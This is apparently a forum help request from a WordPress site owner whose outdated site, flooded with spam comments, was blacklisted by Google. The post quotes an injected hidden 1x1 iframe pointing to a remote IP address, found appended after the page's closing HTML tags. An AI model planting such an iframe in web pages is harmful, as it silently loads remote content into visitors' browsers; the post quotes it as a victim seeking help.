malware in wordpress?

Google has blacklisted my site due to malware, and I think it’s WordPress related.

I just upgraded to the latest version (the last one was from 2006).
I got over 2000 spam comments, in which I have deleted now.

If you look at the site http://www.trondsen.org and the html code, the following is added to the end of it and I think this is why Google blocks my site:

</body>
</html><iframe src=’http://69.69.94.3/1.html&#8217; width=’1′ height=’1′ style=’visibility: hidden;’></iframe>

Where could the bug be?